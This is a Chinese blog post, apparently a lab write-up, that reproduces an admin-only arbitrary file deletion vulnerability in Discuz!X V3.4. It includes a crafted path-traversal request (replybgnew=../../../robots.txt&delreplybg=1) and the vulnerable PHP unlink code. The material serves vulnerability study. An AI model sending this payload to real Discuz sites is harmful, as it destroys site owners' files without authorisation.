• Discuz!X V3.4后台任意文件删除


    Discuz!X V3.4后台任意文件删除

    简述

    该漏洞为后台任意文件删除,需要有管理员的权限,所以说危害非常小

    复现环境

    docker、vulhub-master

    项目地址:https://gitee.com/ComsenzDiscuz/DiscuzX/tree/master

    漏洞复现

    启动环境docker-compose up -d

    安装Discuz!X V3.4 数据库名设置为db

    访问后台并登录http://your-ip/admin.php

    进入论坛->模块管理->编辑板块

    论坛

    使用burp拦截”提交“的数据。

    请求

    在请求包中添加如下参数 &replybgnew=../../../robots.txt&delreplybg=1

    发送请求包,前后对比一下,发现目录中的文件(robots.txt)已经被删除了

    后台1

    后台2

    代码分析

    首先看我们的请求

    admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../robots.txt&delreplybg=1
    

    admin.php中接收了action参数后经过actioncpfile处理后返回文件路径并包含。

    actioncpfile函数

    function admincpfile($action) 
    {
    	return './source/admincp/admincp_'.$action.'.php';
    }
    

    返回admincp_forums.php,漏洞出现在该文件中

    漏洞代码

    if(!$multiset) {
    
    				if($_GET['delreplybg']) {
    					$valueparse = parse_url($_GET['replybgnew']);
    					if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
    						@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
    					}
    					$_GET['replybgnew'] = '';
                    ......
                    ......
    			}
    

    第一个if语句

    $multiset为0进入if语句,由491行代码可知multiset参数默认为0,所以只要不传入该参数或者置空即可

    第二个if语句

    GET参数delreplybg 其中利用了parse_url来判断有没有host,来确保GET参数是replybgnew而不是URL

    $_G['setting']['attachurl'的值为data/attachment/common/[replybgnew],这个就是可控的删除路径

    漏洞修复

    需要有管理员的权限,危害很小,目前网上没找到修复

  • 相关阅读:
    既然选择了远方,就只顾风雨兼程!
    slots
    面向对象
    模块和作用域
    偏函数
    python中decorator
    返回函数
    filter, sort
    map/reduce
    开发步骤
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13891332.html
Copyright © 2020-2023  润新知